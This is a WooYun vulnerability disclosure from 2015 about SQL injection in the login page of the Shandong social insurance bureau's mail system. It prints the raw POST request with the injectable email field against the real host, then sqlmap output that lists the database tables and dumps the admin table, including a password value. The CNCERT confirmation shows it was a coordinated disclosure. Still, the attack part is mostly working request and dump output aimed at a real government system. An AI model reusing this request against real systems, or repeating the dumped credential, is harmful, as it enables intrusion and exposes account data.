当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127828

漏洞标题:山东省社会保险事业局邮件系统SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-21 19:48

修复时间:2015-09-07 15:42

公开时间:2015-09-07 15:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-21: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开

简要描述:

详细说明:

http://mail.sd-si.cn/ 抓包看了下,POST注入,跑了下内容。。。

漏洞证明:

POST /login.php HTTP/1.1
Host: mail.sd-si.cn
Content-Length: 102
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://mail.sd-si.cn
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://mail.sd-si.cn/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: LOGIN_KEY=7a64c3753a3c2f5493a5e235af1b8502
F_lang=&F_tm=1437355191&F_email=sss%27&F_domain=sd-si.cn&F_password=aaa&F_tpl=&action.x=37&action.y=23

1111.png

222.png

Database: mail
[23 tables]
+-----------------+
| domain |
| user |
| admin |
| alias_domain |
| blackclient |
| datadir |
| domainadm |
| domainlog |
| iplog |
| lastline |
| mail_log |
| maillist |
| maillog |
| maillog_history |
| maillog_tmp |
| mydest |
| property |
| sendlog |
| spamlog |
| timemail |
| user_property |
| userlog |
| viruslog |
+-----------------+
[11:45:08] [INFO] fetched data logged to text files under 'C:\Users\k\.sqlmap\o
tput\mail.sd-si.cn'
[*] shutting down at 11:45:08
C:\Python27\sqlmap>

[11:48:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5
[11:48:02] [INFO] fetching columns for table 'admin' in database 'mail'
[11:48:02] [INFO] the SQL query used returns 4 entries
[11:48:02] [INFO] resumed: date
[11:48:02] [INFO] resumed: datetime
[11:48:02] [INFO] resumed: passwd
[11:48:02] [INFO] resumed: char(36)
[11:48:02] [INFO] resumed: ip
[11:48:02] [INFO] resumed: char(32)
[11:48:02] [INFO] resumed: spam_admin
[11:48:02] [INFO] resumed: char(48)
[11:48:02] [INFO] fetching entries for table 'admin' in database 'mail'
[11:48:02] [INFO] the SQL query used returns 1 entries
[11:48:02] [WARNING] reflective value(s) found and filtering out
[11:48:02] [INFO] retrieved: 2010-03-01 16:28:22
[11:48:03] [INFO] retrieved:
[11:48:03] [INFO] retrieved: VjiwKADmDfG96
[11:48:03] [INFO] retrieved: [email protected]
[11:48:03] [INFO] analyzing table dump for possible password hashes
Database: mail
Table: admin
[1 entry]
+---------+---------------+---------------------+------------------+
| ip | passwd | date | spam_admin |
+---------+---------------+---------------------+------------------+
| <blank> | VjiwKADmDfG96 | 2010-03-01 16:28:22 | [email protected] |
+---------+---------------+---------------------+------------------+
[11:48:03] [INFO] table 'mail.admin' dumped to CSV file 'C:\Users\k\.sqlmap\outp
ut\mail.sd-si.cn\dump\mail\admin.csv'
[11:48:03] [INFO] fetched data logged to text files under 'C:\Users\k\.sqlmap\ou
tput\mail.sd-si.cn'
[*] shutting down at 11:48:03
C:\Python27\sqlmap>

333.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-24 15:41

厂商回复:

CNVD确认所述情况,转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置.

最新状态:

暂无